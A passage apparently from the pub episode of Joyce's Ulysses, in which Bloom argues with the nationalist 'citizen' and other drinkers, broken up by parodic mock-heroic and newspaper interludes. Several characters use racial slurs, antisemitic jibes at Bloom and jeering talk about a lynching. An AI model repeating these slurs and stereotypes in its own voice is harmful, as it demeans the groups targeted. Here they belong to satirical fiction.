the garths of olives knew and +bowed. The chaste spouse of Leopold is she: Marion of the bountiful +bosoms. + +And lo, there entered one of the clan of the O'Molloy's, a comely hero +of white face yet withal somewhat ruddy, his majesty's counsel learned in +the law, and with him the prince and heir of the noble line of Lambert. + +--Hello, Ned. + +--Hello, Alf. + +--Hello, Jack. + +--Hello, Joe. + +--God save you, says the citizen. + +--Save you kindly, says J. J. What'll it be, Ned? + +--Half one, says Ned. + +So J. J. ordered the drinks. + +--Were you round at the court? says Joe. + +--Yes, says J. J. He'll square that, Ned, says he. + +--Hope so, says Ned. + +Now what were those two at? J. J. getting him off the grand jury list +and the other give him a leg over the stile. With his name in Stubbs's. +Playing cards, hobnobbing with flash toffs with a swank glass in their +eye, adrinking fizz and he half smothered in writs and garnishee orders. +Pawning his gold watch in Cummins of Francis street where no-one would +know him in the private office when I was there with Pisser releasing his +boots out of the pop. What's your name, sir? Dunne, says he. Ay, and done +says I. Gob, he'll come home by weeping cross one of those days, I'm +thinking. + +--Did you see that bloody lunatic Breen round there? says Alf. U. p: up. + +--Yes, says J. J. Looking for a private detective. + +--Ay, says Ned. And he wanted right go wrong to address the court only +Corny Kelleher got round him telling him to get the handwriting examined +first. + +--Ten thousand pounds, says Alf, laughing. God, I'd give anything to hear +him before a judge and jury. + +--Was it you did it, Alf? says Joe. The truth, the whole truth and nothing +but the truth, so help you Jimmy Johnson. + +--Me? says Alf. Don't cast your nasturtiums on my character. + +--Whatever statement you make, says Joe, will be taken down in evidence +against you. + +--Of course an action would lie, says J. J. It implies that he is not +COMPOS MENTIS. U. p: up. + +--COMPOS your eye! says Alf, laughing. Do you know that he's balmy? +Look at his head. Do you know that some mornings he has to get his hat on +with a shoehorn. + +--Yes, says J. J., but the truth of a libel is no defence to an indictment +for publishing it in the eyes of the law. + +--Ha ha, Alf, says Joe. + +--Still, says Bloom, on account of the poor woman, I mean his wife. + +--Pity about her, says the citizen. Or any other woman marries a half and +half. + +--How half and half? says Bloom. Do you mean he ... + +--Half and half I mean, says the citizen. A fellow that's neither fish nor +flesh. + +--Nor good red herring, says Joe. + +--That what's I mean, says the citizen. A pishogue, if you know what that +is. + +Begob I saw there was trouble coming. And Bloom explaining he meant on +account of it being cruel for the wife having to go round after the +old stuttering fool. Cruelty to animals so it is to let that bloody +povertystricken Breen out on grass with his beard out tripping him, +bringing down the rain. And she with her nose cockahoop after she married +him because a cousin of his old fellow's was pewopener to the pope. +Picture of him on the wall with his Smashall Sweeney's moustaches, the +signior Brini from Summerhill, the eyetallyano, papal Zouave to the Holy +Father, has left the quay and gone to Moss street. And who was he, tell +us? A nobody, two pair back and passages, at seven shillings a week, and +he covered with all kinds of breastplates bidding defiance to the world. + +--And moreover, says J. J., a postcard is publication. It was held to be +sufficient evidence of malice in the testcase Sadgrove v. Hole. In my +opinion an action might lie. + +Six and eightpence, please. Who wants your opinion? Let us drink +our pints in peace. Gob, we won't be let even do that much itself. + +--Well, good health, Jack, says Ned. + +--Good health, Ned, says J. J. + +---There he is again, says Joe. + +--Where? says Alf. + +And begob there he was passing the door with his books under his +oxter and the wife beside him and Corny Kelleher with his wall eye looking +in as they went past, talking to him like a father, trying to sell him a +secondhand coffin. + +--How did that Canada swindle case go off? says Joe. + +--Remanded, says J. J. + +One of the bottlenosed fraternity it was went by the name of James +Wought alias Saphiro alias Spark and Spiro, put an ad in the papers saying +he'd give a passage to Canada for twenty bob. What? Do you see any green +in the white of my eye? Course it was a bloody barney. What? Swindled +them all, skivvies and badhachs from the county Meath, ay, and his own +kidney too. J. J. was telling us there was an ancient Hebrew Zaretsky or +something weeping in the witnessbox with his hat on him, swearing by the +holy Moses he was stuck for two quid. + +--Who tried the case? says Joe. + +--Recorder, says Ned. + +--Poor old sir Frederick, says Alf, you can cod him up to the two eyes. + +--Heart as big as a lion, says Ned. Tell him a tale of woe about arrears +of rent and a sick wife and a squad of kids and, faith, he'll dissolve in +tears on the bench. + +--Ay, says Alf. Reuben J was bloody lucky he didn't clap him in the dock +the other day for suing poor little Gumley that's minding stones, for the +corporation there near Butt bridge. + +And he starts taking off the old recorder letting on to cry: + +--A most scandalous thing! This poor hardworking man! How many +children? Ten, did you say? + +--Yes, your worship. And my wife has the typhoid. + +--And the wife with typhoid fever! Scandalous! Leave the court +immediately, sir. No, sir, I'll make no order for payment. How dare you, +sir, come up before me and ask me to make an order! A poor hardworking +industrious man! I dismiss the case. + +And whereas on the sixteenth day of the month of the oxeyed goddess and in +the third week after the feastday of the Holy and Undivided Trinity, +the daughter of the skies, the virgin moon being then in her first +quarter, it came to pass that those learned judges repaired them to the +halls of law. There master Courtenay, sitting in his own chamber, +gave his rede and master Justice Andrews, sitting without a jury +in the probate court, weighed well and pondered the claim of the +first chargeant upon the property in the matter of the will +propounded and final testamentary disposition IN RE the real and +personal estate of the late lamented Jacob Halliday, vintner, deceased, +versus Livingstone, an infant, of unsound mind, and another. And to the +solemn court of Green street there came sir Frederick the Falconer. And he +sat him there about the hour of five o'clock to administer the law of the +brehons at the commission for all that and those parts to be holden in +and for the county of the city of Dublin. And there sat with him the high +sinhedrim of the twelve tribes of Iar, for every tribe one man, of the +tribe of Patrick and of the tribe of Hugh and of the tribe of Owen and of +the tribe of Conn and of the tribe of Oscar and of the tribe of +Fergus and of the tribe of Finn and of the tribe of Dermot and of +the tribe of Cormac and of the tribe of Kevin and of the tribe of +Caolte and of the tribe of Ossian, there being in all twelve good +men and true. And he conjured them by Him who died on rood that +they should well and truly try and true deliverance make in the +issue joined between their sovereign lord the king and the prisoner at +the bar and true verdict give according to the evidence so help them God +and kiss the book. And they rose in their seats, those twelve of Iar, and +they swore by the name of Him Who is from everlasting that they would do +His rightwiseness. And straightway the minions of the law led forth from +their donjon keep one whom the sleuthhounds of justice had apprehended in +consequence of information received. And they shackled him hand and foot +and would take of him ne bail ne mainprise but preferred a charge against +him for he was a malefactor. + +--Those are nice things, says the citizen, coming over here to Ireland +filling the country with bugs. + +So Bloom lets on he heard nothing and he starts talking with Joe, telling +him he needn't trouble about that little matter till the first but if he +would just say a word to Mr Crawford. And so Joe swore high and holy by +this and by that he'd do the devil and all. + +--Because, you see, says Bloom, for an advertisement you must have +repetition. That's the whole secret. + +--Rely on me, says Joe. + +--Swindling the peasants, says the citizen, and the poor of Ireland. We +want no more strangers in our house. + +--O, I'm sure that will be all right, Hynes, says Bloom. It's just that +Keyes, you see. + +--Consider that done, says Joe. + +--Very kind of you, says Bloom. + +--The strangers, says the citizen. Our own fault. We let them come in. We +brought them in. The adulteress and her paramour brought the Saxon +robbers here. + +--Decree NISI, says J. J. + +And Bloom letting on to be awfully deeply interested in nothing, a +spider's web in the corner behind the barrel, and the citizen scowling +after him and the old dog at his feet looking up to know who to bite and +when. + +--A dishonoured wife, says the citizen, that's what's the cause of all our +misfortunes. + +--And here she is, says Alf, that was giggling over the POLICE GAZETTE +with Terry on the counter, in all her warpaint. + +--Give us a squint at her, says I. + +And what was it only one of the smutty yankee pictures Terry +borrows off of Corny Kelleher. Secrets for enlarging your private parts. +Misconduct of society belle. Norman W. Tupper, wealthy Chicago +contractor, finds pretty but faithless wife in lap of officer Taylor. +Belle in her bloomers misconducting herself, and her fancyman feeling for +her tickles and Norman W. Tupper bouncing in with his peashooter just in +time to be late after she doing the trick of the loop with officer Taylor. + +--O jakers, Jenny, says Joe, how short your shirt is! + +--There's hair, Joe, says I. Get a queer old tailend of corned beef off of +that one, what? + +So anyhow in came John Wyse Nolan and Lenehan with him with a +face on him as long as a late breakfast. + +--Well, says the citizen, what's the latest from the scene of action? What +did those tinkers in the city hall at their caucus meeting decide about +the Irish language? + +O'Nolan, clad in shining armour, low bending made obeisance to the +puissant and high and mighty chief of all Erin and did him to wit of that +which had befallen, how that the grave elders of the most obedient city, +second of the realm, had met them in the tholsel, and there, after due +prayers to the gods who dwell in ether supernal, had taken solemn counsel +whereby they might, if so be it might be, bring once more into honour +among mortal men the winged speech of the seadivided Gael. + +--It's on the march, says the citizen. To hell with the bloody brutal +Sassenachs and their PATOIS. + +So J. J. puts in a word, doing the toff about one story was good till +you heard another and blinking facts and the Nelson policy, putting your +blind eye to the telescope and drawing up a bill of attainder to impeach a +nation, and Bloom trying to back him up moderation and botheration and +their colonies and their civilisation. + +--Their syphilisation, you mean, says the citizen. To hell with them! The +curse of a goodfornothing God light sideways on the bloody thicklugged +sons of whores' gets! No music and no art and no literature worthy of the +name. Any civilisation they have they stole from us. Tonguetied sons of +bastards' ghosts. + +--The European family, says J. J. ... + +--They're not European, says the citizen. I was in Europe with Kevin Egan +of Paris. You wouldn't see a trace of them or their language anywhere in +Europe except in a CABINET D'AISANCE. + +And says John Wyse: + +--Full many a flower is born to blush unseen. + +And says Lenehan that knows a bit of the lingo: + +--CONSPUEZ LES ANGLAIS! PERFIDE ALBION! + +He said and then lifted he in his rude great brawny strengthy hands +the medher of dark strong foamy ale and, uttering his tribal slogan LAMH +DEARG ABU, he drank to the undoing of his foes, a race of mighty valorous +heroes, rulers of the waves, who sit on thrones of alabaster silent as the +deathless gods. + +--What's up with you, says I to Lenehan. You look like a fellow that had +lost a bob and found a tanner. + +--Gold cup, says he. + +--Who won, Mr Lenehan? says Terry. + +--THROWAWAY, says he, at twenty to one. A rank outsider. And the rest +nowhere. + +--And Bass's mare? says Terry. + +--Still running, says he. We're all in a cart. Boylan plunged two quid on +my tip SCEPTRE for himself and a lady friend. + +--I had half a crown myself, says Terry, on ZINFANDEL that Mr Flynn gave +me. Lord Howard de Walden's. + +--Twenty to one, says Lenehan. Such is life in an outhouse. THROWAWAY, +says he. Takes the biscuit, and talking about bunions. Frailty, thy name +is SCEPTRE. + +So he went over to the biscuit tin Bob Doran left to see if there was +anything he could lift on the nod, the old cur after him backing his luck +with his mangy snout up. Old Mother Hubbard went to the cupboard. + +--Not there, my child, says he. + +--Keep your pecker up, says Joe. She'd have won the money only for the +other dog. + +And J. J. and the citizen arguing about law and history with Bloom +sticking in an odd word. + +--Some people, says Bloom, can see the mote in others' eyes but they can't +see the beam in their own. + +--RAIMEIS, says the citizen. There's no-one as blind as the fellow that +won't see, if you know what that means. Where are our missing +twenty millions of Irish should be here today instead of four, +our lost tribes? And our potteries and textiles, the finest in +the whole world! And our wool that was sold in Rome in the time +of Juvenal and our flax and our damask from the looms of Antrim +and our Limerick lace, our tanneries and our white flint glass +down there by Ballybough and our Huguenot poplin that we have since +Jacquard de Lyon and our woven silk and our Foxford tweeds and ivory +raised point from the Carmelite convent in New Ross, nothing like it in +the whole wide world. Where are the Greek merchants that came through the +pillars of Hercules, the Gibraltar now grabbed by the foe of mankind, with +gold and Tyrian purple to sell in Wexford at the fair of Carmen? Read +Tacitus and Ptolemy, even Giraldus Cambrensis. Wine, peltries, +Connemara marble, silver from Tipperary, second to none, our farfamed +horses even today, the Irish hobbies, with king Philip of Spain offering +to pay customs duties for the right to fish in our waters. What do the +yellowjohns of Anglia owe us for our ruined trade and our ruined hearths? +And the beds of the Barrow and Shannon they won't deepen with millions +of acres of marsh and bog to make us all die of consumption? + +--As treeless as Portugal we'll be soon, says John Wyse, or Heligoland +with its one tree if something is not done to reafforest the land. +Larches, firs, all the trees of the conifer family are going fast. I was +reading a report of lord Castletown's ... + +--Save them, says the citizen, the giant ash of Galway and the chieftain +elm of Kildare with a fortyfoot bole and an acre of foliage. Save the +trees of Ireland for the future men of Ireland on the fair hills of +Eire, O. + +--Europe has its eyes on you, says Lenehan. + +The fashionable international world attended EN MASSE this afternoon +at the wedding of the chevalier Jean Wyse de Neaulan, grand high chief +ranger of the Irish National Foresters, with Miss Fir Conifer of Pine +Valley. Lady Sylvester Elmshade, Mrs Barbara Lovebirch, Mrs Poll Ash, +Mrs Holly Hazeleyes, Miss Daphne Bays, Miss Dorothy Canebrake, Mrs +Clyde Twelvetrees, Mrs Rowan Greene, Mrs Helen Vinegadding, Miss +Virginia Creeper, Miss Gladys Beech, Miss Olive Garth, Miss Blanche +Maple, Mrs Maud Mahogany, Miss Myra Myrtle, Miss Priscilla +Elderflower, Miss Bee Honeysuckle, Miss Grace Poplar, Miss O Mimosa +San, Miss Rachel Cedarfrond, the Misses Lilian and Viola Lilac, Miss +Timidity Aspenall, Mrs Kitty Dewey-Mosse, Miss May Hawthorne, Mrs +Gloriana Palme, Mrs Liana Forrest, Mrs Arabella Blackwood and Mrs +Norma Holyoake of Oakholme Regis graced the ceremony by their +presence. The bride who was given away by her father, the M'Conifer of +the Glands, looked exquisitely charming in a creation carried out in green +mercerised silk, moulded on an underslip of gloaming grey, sashed with a +yoke of broad emerald and finished with a triple flounce of darkerhued +fringe, the scheme being relieved by bretelles and hip insertions of acorn +bronze. The maids of honour, Miss Larch Conifer and Miss Spruce Conifer, +sisters of the bride, wore very becoming costumes in the same tone, a +dainty MOTIF of plume rose being worked into the pleats in a pinstripe and +repeated capriciously in the jadegreen toques in the form of heron +feathers of paletinted coral. Senhor Enrique Flor presided at the +organ with his wellknown ability and, in addition to the prescribed +numbers of the nuptial mass, played a new and striking arrangement +of WOODMAN, SPARE THAT TREE at the conclusion of the service. On +leaving the church of Saint Fiacre IN HORTO after the papal +blessing the happy pair were subjected to a playful crossfire +of hazelnuts, beechmast, bayleaves, catkins of willow, ivytod, +hollyberries, mistletoe sprigs and quicken shoots. Mr and Mrs Wyse +Conifer Neaulan will spend a quiet honeymoon in the Black Forest. + +--And our eyes are on Europe, says the citizen. We had our trade with +Spain and the French and with the Flemings before those mongrels were +pupped, Spanish ale in Galway, the winebark on the winedark waterway. + +--And will again, says Joe. + +--And with the help of the holy mother of God we will again, says the +citizen, clapping his thigh. our harbours that are empty will be full +again, Queenstown, Kinsale, Galway, Blacksod Bay, Ventry in the kingdom of +Kerry, Killybegs, the third largest harbour in the wide world with a fleet +of masts of the Galway Lynches and the Cavan O'Reillys and the +O'Kennedys of Dublin when the earl of Desmond could make a treaty with +the emperor Charles the Fifth himself. And will again, says he, when the +first Irish battleship is seen breasting the waves with our own flag to +the fore, none of your Henry Tudor's harps, no, the oldest flag afloat, +the flag of the province of Desmond and Thomond, three crowns on a blue +field, the three sons of Milesius. + +And he took the last swig out of the pint. Moya. All wind and piss like +a tanyard cat. Cows in Connacht have long horns. As much as his bloody +life is worth to go down and address his tall talk to the assembled +multitude in Shanagolden where he daren't show his nose with the Molly +Maguires looking for him to let daylight through him for grabbing the +holding of an evicted tenant. + +--Hear, hear to that, says John Wyse. What will you have? + +--An imperial yeomanry, says Lenehan, to celebrate the occasion. + +--Half one, Terry, says John Wyse, and a hands up. Terry! Are you asleep? + +--Yes, sir, says Terry. Small whisky and bottle of Allsop. Right, sir. + +Hanging over the bloody paper with Alf looking for spicy bits instead +of attending to the general public. Picture of a butting match, trying to +crack their bloody skulls, one chap going for the other with his head down +like a bull at a gate. And another one: BLACK BEAST BURNED IN OMAHA, GA. +A lot of Deadwood Dicks in slouch hats and they firing at a Sambo strung +up in a tree with his tongue out and a bonfire under him. Gob, they ought +to drown him in the sea after and electrocute and crucify him to make sure +of their job. + +--But what about the fighting navy, says Ned, that keeps our foes at bay? + +--I'll tell you what about it, says the citizen. Hell upon earth it is. +Read the revelations that's going on in the papers about flogging on the +training ships at Portsmouth. A fellow writes that calls himself DISGUSTED +ONE. + +So he starts telling us about corporal punishment and about the crew +of tars and officers and rearadmirals drawn up in cocked hats and the +parson with his protestant bible to witness punishment and a young lad +brought out, howling for his ma, and they tie him down on the buttend of a +gun. + +--A rump and dozen, says the citizen, was what that old ruffian sir John +Beresford called it but the modern God's Englishman calls it caning on the +breech. + +And says John Wyse: + +--'Tis a custom more honoured in the breach than in the observance. + +Then he was telling us the master at arms comes along with a long +cane and he draws out and he flogs the bloody backside off of the poor lad +till he yells meila murder. + +--That's your glorious British navy, says the citizen, that bosses the +earth. + +The fellows that never will be slaves, with the only hereditary chamber on +the face of God's earth and their land in the hands of a dozen gamehogs +and cottonball barons. That's the great empire they boast about of drudges +and whipped serfs. + +--On which the sun never rises, says Joe. + +--And the tragedy of it is, says the citizen, they believe it. The +unfortunate yahoos believe it. + +They believe in rod, the scourger almighty, creator of hell upon earth, +and in Jacky Tar, the son of a gun, who was conceived of unholy boast, +born of the fighting navy, suffered under rump and dozen, was scarified, +flayed and curried, yelled like bloody hell, the third day he arose again +from the bed, steered into haven, sitteth on his beamend till further +orders whence he shall come to drudge for a living and be paid. + +--But, says Bloom, isn't discipline the same everywhere. I mean wouldn't +it be the same here if you put force against force? + +Didn't I tell you? As true as I'm drinking this porter if he was at his +last gasp he'd try to downface you that dying was living. + +--We'll put force against force, says the citizen. We have our greater +Ireland beyond the sea. They were driven out of house and home in the +black 47. Their mudcabins and their shielings by the roadside were laid +low by the batteringram and the TIMES rubbed its hands and told the +whitelivered Saxons there would soon be as few Irish in Ireland as +redskins in America. Even the Grand Turk sent us his piastres. But the +Sassenach tried to starve the nation at home while the land was full of +crops that the British hyenas bought and sold in Rio de Janeiro. Ay, they +drove out the peasants in hordes. Twenty thousand of them died in the +coffinships. But those that came to the land of the free remember the +land of bondage. And they will come again and with a vengeance, no +cravens, the sons of Granuaile, the champions of Kathleen ni Houlihan. + +--Perfectly true, says Bloom. But my point was ... + +--We are a long time waiting for that day, citizen, says Ned. Since the +poor old woman told us that the French were on the sea and landed at +Killala. + +--Ay, says John Wyse. We fought for the royal Stuarts that reneged us +against the Williamites and they betrayed us. Remember Limerick and the +broken treatystone. We gave our best blood to France and Spain, the wild +geese. Fontenoy, eh? And Sarsfield and O'Donnell, duke of Tetuan in +Spain, and Ulysses Browne of Camus that was fieldmarshal to Maria Teresa. +But what did we ever get for it? + +--The French! says the citizen. Set of dancing masters! Do you know what +it is? They were never worth a roasted fart to Ireland. Aren't they +trying to make an ENTENTE CORDIALE now at Tay Pay's dinnerparty with +perfidious Albion? Firebrands of Europe and they always were. + +--CONSPUEZ LES FRANCAIS, says Lenehan, nobbling his beer. + +--And as for the Prooshians and the Hanoverians, says Joe, haven't we had +enough of those sausageeating bastards on the throne from George the +elector down to the German lad and the flatulent old bitch that's dead? + +Jesus, I had to laugh at the way he came out with that about the old one +with the winkers on her, blind drunk in her royal palace every night of +God, old Vic, with her jorum of mountain dew and her coachman carting her +up body and bones to roll into bed and she pulling him by the whiskers +and singing him old bits of songs about EHREN ON THE RHINE and come where +the boose is cheaper. + +--Well, says J. J. We have Edward the peacemaker now. + +--Tell that to a fool, says the citizen. There's a bloody sight more pox +than pax about that boyo. Edward Guelph-Wettin! + +--And what do you think, says Joe, of the holy boys, the priests and +bishops of Ireland doing up his room in Maynooth in His Satanic Majesty's +racing colours and sticking up pictures of all the horses his jockeys +rode. The earl of Dublin, no less. + +--They ought to have stuck up all the women he rode himself, says little +Alf. + +And says J. J.: + +--Considerations of space influenced their lordships' decision. + +--Will you try another, citizen? says Joe. + +--Yes, sir, says he. I will. + +--You? says Joe. + +--Beholden to you, Joe, says I. May your shadow never grow less. + +--Repeat that dose, says Joe. + +Bloom was talking and talking with John Wyse and he quite excited with +his dunducketymudcoloured mug on him and his old plumeyes rolling about. + +--Persecution, says he, all the history of the world is full of it. +Perpetuating national hatred among nations. + +--But do you know what a nation means? says John Wyse. + +--Yes, says Bloom. + +--What is it? says John Wyse. + +--A nation? says Bloom. A nation is the same people living in the same +place. + +--By God, then, says Ned, laughing, if that's so I'm a nation for I'm +living in the same place for the past five years. + +So of course everyone had the laugh at Bloom and says he, trying to +muck out of it: + +--Or also living in different places. + +--That covers my case, says Joe. + +--What is your nation if I may ask? says the citizen. + +--Ireland, says Bloom. I was born here. Ireland. + +The citizen said nothing only cleared the spit out of his gullet and, +gob, he spat a Red bank oyster out of him right in the corner. + +--After you with the push, Joe, says he, taking out his handkerchief to +swab himself dry. + +--Here you are, citizen, says Joe. Take that in your right hand and repeat +after me the following words. + +The muchtreasured and intricately embroidered ancient Irish +facecloth attributed to Solomon of Droma and Manus Tomaltach og +MacDonogh, authors of the Book of Ballymote, was then carefully +produced and called forth prolonged admiration. No need to dwell on the +legendary beauty of the cornerpieces, the acme of art, wherein one can +distinctly discern each of the four evangelists in turn presenting to each +of the four masters his evangelical symbol, a bogoak sceptre, a North +American puma (a far nobler king of beasts than the British article, be it +said in passing), a Kerry calf and a golden eagle from Carrantuohill. The +scenes depicted on the emunctory field, showing our ancient duns and raths +and cromlechs and grianauns and seats of learning and maledictive stones, +are as wonderfully beautiful and the pigments as delicate as when the +Sligo illuminators gave free rein to their artistic fantasy long long ago +in the time of the Barmecides. Glendalough, the lovely lakes of Killarney, +the ruins of Clonmacnois, Cong Abbey, Glen Inagh and the Twelve Pins, +Ireland's Eye, the Green Hills of Tallaght, Croagh Patrick, the brewery of +Messrs Arthur Guinness, Son and Company (Limited), Lough Neagh's banks, +the vale of Ovoca, Isolde's tower, the Mapas obelisk, Sir Patrick Dun's +hospital, Cape Clear, the glen of Aherlow, Lynch's castle, the Scotch +house, Rathdown Union Workhouse at Loughlinstown, Tullamore jail, +Castleconnel rapids, Kilballymacshonakill, the cross at Monasterboice, +Jury's Hotel, S. Patrick's Purgatory, the Salmon Leap, Maynooth college +refectory, Curley's hole, the three birthplaces of the first duke of +Wellington, the rock of Cashel, the bog of Allen, the Henry Street +Warehouse, Fingal's Cave--all these moving scenes are still there for us +today rendered more beautiful still by the waters of sorrow which have +passed over them and by the rich incrustations of time. + +--Show us over the drink, says I. Which is which? + +--That's mine, says Joe, as the devil said to the dead policeman. + +--And I belong to a race too, says Bloom, that is hated and persecuted. +Also now. This very moment. This very instant. + +Gob, he near burnt his fingers with the butt of his old cigar. + +--Robbed, says he. Plundered. Insulted. Persecuted. Taking what belongs +to us by right. At this very moment, says he, putting up his fist, sold by +auction in Morocco like slaves or cattle. + +--Are you talking about the new Jerusalem? says the citizen. + +--I'm talking about injustice, says Bloom. + +--Right, says John Wyse. Stand up to it then with force like men. + +That's an almanac picture for you. Mark for a softnosed bullet. Old +lardyface standing up to the business end of a gun. Gob, he'd adorn a +sweepingbrush, so he would, if he only had a nurse's apron on him. And +then he collapses all of a sudden, twisting around all the opposite, as +limp as a wet rag. + +--But it's no use, says he. Force, hatred, history, all that. That's not +life for men and women, insult and hatred. And everybody knows that it's +the very opposite of that that is really life. + +--What? says Alf. + +--Love, says Bloom. I mean the opposite of hatred. I must go now, says he +to John Wyse. Just round to the court a moment to see if Martin is there. +If he comes just say I'll be back in a second. Just a moment. + +Who's hindering you? And off he pops like greased lightning. + +--A new apostle to the gentiles, says the citizen. Universal love. + +--Well, says John Wyse. Isn't that what we're told. Love your neighbour. + +--That chap? says the citizen. Beggar my neighbour is his motto. Love, +moya! He's a nice pattern of a Romeo and Juliet. + +Love loves to love love. Nurse loves the new chemist. Constable 14A +loves Mary Kelly. Gerty MacDowell loves the boy that has the bicycle. +M. B. loves a fair gentleman. Li Chi Han lovey up kissy Cha Pu Chow. +Jumbo, the elephant, loves Alice, the elephant. Old Mr Verschoyle with the +ear trumpet loves old Mrs Verschoyle with the turnedin eye. The man in the +brown macintosh loves a lady who is dead. His Majesty the King loves Her +Majesty the Queen. Mrs Norman W. Tupper loves officer Taylor. You love +a certain person. And this person loves that other person because +everybody loves somebody but God loves everybody. + +--Well, Joe, says I, your very good health and song. More power, citizen. + +--Hurrah, there, says Joe. + +--The blessing of God and Mary and Patrick on you, says the citizen. + +And he ups with his pint to wet his whistle. + +--We know those canters, says he, preaching and picking your pocket. +What about sanctimonious Cromwell and his ironsides that put the women +and children of Drogheda to the sword with the bible text GOD IS LOVE +pasted round the mouth of his cannon? The bible! Did you read that skit in +the UNITED IRISHMAN today about that Zulu chief that's visiting England? + +--What's that? says Joe. + +So the citizen takes up one of his paraphernalia papers and he starts +reading out: + +--A delegation of the chief cotton magnates of Manchester was presented +yesterday to His Majesty the Alaki of Abeakuta by Gold Stick in Waiting, +Lord Walkup of Walkup on Eggs, to tender to His Majesty the heartfelt +thanks of British traders for the facilities afforded them in his +dominions. The delegation partook of luncheon at the conclusion +of which the dusky potentate, in the course of a happy speech, +freely translated by the British chaplain, the reverend Ananias +Praisegod Barebones, tendered his best thanks to Massa Walkup and +emphasised the cordial relations existing between Abeakuta and the +British empire, stating that he treasured as one of his dearest +possessions an illuminated bible, the volume of the word of God +and the secret of England's greatness, graciously presented to him by +the white chief woman, the great squaw Victoria, with a personal +dedication from the august hand of the Royal Donor. The Alaki then drank a +lovingcup of firstshot usquebaugh to the toast BLACK AND WHITE from the +skull of his immediate predecessor in the dynasty Kakachakachak, +surnamed Forty Warts, after which he visited the chief factory of +Cottonopolis and signed his mark in the visitors' book, subsequently +executing a charming old Abeakutic wardance, in the course of which he +swallowed several knives and forks, amid hilarious applause from the girl +hands. + +--Widow woman, says Ned. I wouldn't doubt her. Wonder did he put that +bible to the same use as I would. + +--Same only more so, says Lenehan. And thereafter in that fruitful land +the broadleaved mango flourished exceedingly. + +--Is that by Griffith? says John Wyse. + +--No, says the citizen. It's not signed Shanganagh. It's only +initialled: P. + +--And a very good initial too, says Joe. + +--That's how it's worked, says the citizen. Trade follows the flag. + +--Well, says J. J., if they're any worse than those Belgians in the Congo +Free State they must be bad. Did you read that report by a man what's this +his name is? + +--Casement, says the citizen. He's an Irishman. + +--Yes, that's the man, says J. J. Raping the women and girls and flogging +the natives on the belly to squeeze all the red rubber they can out of +them. + +--I know where he's gone, says Lenehan, cracking his fingers. + +--Who? says I. + +--Bloom, says he. The courthouse is a blind. He had a few bob on +THROWAWAY and he's gone to gather in the shekels. + +--Is it that whiteeyed kaffir? says the citizen, that never backed a horse +in anger in his life? + +--That's where he's gone, says Lenehan. I met Bantam Lyons going to back +that horse only I put him off it and he told me Bloom gave him the tip. +Bet you what you like he has a hundred shillings to five on. He's the only +man in Dublin has it. A dark horse. + +--He's a bloody dark horse himself, says Joe. + +--Mind, Joe, says I. Show us the entrance out. + +--There you are, says Terry. + +Goodbye Ireland I'm going to Gort. So I just went round the back of +the yard to pumpship and begob (hundred shillings to five) while I was +letting off my (THROWAWAY twenty to) letting off my load gob says I to +myself I knew he was uneasy in his (two pints off of Joe and one in +Slattery's off) in his mind to get off the mark to (hundred shillings is +five quid) and when they were in the (dark horse) pisser Burke +was telling me card party and letting on the child was sick (gob, must +have done about a gallon) flabbyarse of a wife speaking down the tube +SHE'S BETTER or SHE'S (ow!) all a plan so he could vamoose with the +pool if he won or (Jesus, full up I was) trading without a licence (ow!) +Ireland my nation says he (hoik! phthook!) never be up to those +bloody (there's the last of it) Jerusalem (ah!) cuckoos. + +So anyhow when I got back they were at it dingdong, John Wyse +saying it was Bloom gave the ideas for Sinn Fein to Griffith to put in his +paper all kinds of jerrymandering, packed juries and swindling the taxes +off of the government and appointing consuls all over the world to walk +about selling Irish industries. Robbing Peter to pay Paul. Gob, that puts +the bloody kybosh on it if old sloppy eyes is mucking up the show. Give us +a bloody chance. God save Ireland from the likes of that bloody +mouseabout. Mr Bloom with his argol bargol. And his old fellow before him +perpetrating frauds, old Methusalem Bloom, the robbing bagman, that +poisoned himself with the prussic acid after he swamping the country with +his baubles and his penny diamonds. Loans by post on easy terms. Any +amount of money advanced on note of hand. Distance no object. No security. +Gob, he's like Lanty MacHale's goat that'd go a piece of the road with +every one. + +--Well, it's a fact, says John Wyse. And there's the man now that'll tell +you all about it, Martin Cunningham. + +Sure enough the castle car drove up with Martin on it and Jack Power +with him and a fellow named Crofter or Crofton, pensioner out of the +collector general's, an orangeman Blackburn does have on the registration +and he drawing his pay or Crawford gallivanting around the country at the +king's expense. + +Our travellers reached the rustic hostelry and alighted from their +palfreys. + +--Ho, varlet! cried he, who by his mien seemed the leader of the party. +Saucy knave! To us! + +So saying he knocked loudly with his swordhilt upon the open lattice. + +Mine host came forth at the summons, girding him with his tabard. + +--Give you good den, my masters, said he with an obsequious bow. + +--Bestir thyself, sirrah! cried he who had knocked. Look to our steeds. +And for ourselves give us of your best for ifaith we need it. + +--Lackaday, good masters, said the host, my poor house has but a bare +larder. I know not what to offer your lordships. + +--How now, fellow? cried the second of the party, a man of pleasant +countenance, So servest thou the king's messengers, master Taptun? + +An instantaneous change overspread the landlord's visage. + +--Cry you mercy, gentlemen, he said humbly. An you be the king's +messengers (God shield His Majesty!) you shall not want for aught. The +king's friends (God bless His Majesty!) shall not go afasting in my house +I warrant me. + +--Then about! cried the traveller who had not spoken, a lusty trencherman +by his aspect. Hast aught to give us? + +Mine host bowed again as he made answer: + +--What say you, good masters, to a squab pigeon pasty, some collops of +venison, a saddle of veal, widgeon with crisp hog's bacon, a boar's head +with pistachios, a bason of jolly custard, a medlar tansy and a flagon of +old Rhenish? + +--Gadzooks! cried the last speaker. That likes me well. Pistachios! + +--Aha! cried he of the pleasant countenance. A poor house and a bare +larder, quotha! 'Tis a merry rogue. + +So in comes Martin asking where was Bloom. + +--Where is he? says Lenehan. Defrauding widows and orphans. + +--Isn't that a fact, says John Wyse, what I was telling the citizen about +Bloom and the Sinn Fein? + +--That's so, says Martin. Or so they allege. + +--Who made those allegations? says Alf. + +--I, says Joe. I'm the alligator. + +--And after all, says John Wyse, why can't a jew love his country like the +next fellow? + +--Why not? says J. J., when he's quite sure which country it is. + +--Is he a jew or a gentile or a holy Roman or a swaddler or what the hell +is he? says Ned. Or who is he? No offence, Crofton. + +--Who is Junius? says J. J. + +--We don't want him, says Crofter the Orangeman or presbyterian. + +--He's a perverted jew, says Martin, from a place in Hungary and it was he +drew up all the plans according to the Hungarian system. We know that in +the castle. + +--Isn't he a cousin of Bloom the dentist? says Jack Power. + +--Not at all, says Martin. Only namesakes. His name was Virag, the +father's name that poisoned himself. He changed it by deedpoll, the father +did. + +--That's the new Messiah for Ireland! says the citizen. Island of saints +and sages! + +--Well, they're still waiting for their redeemer, says Martin. For that +matter so are we. + +--Yes, says J. J., and every male that's born they think it may be their +Messiah. 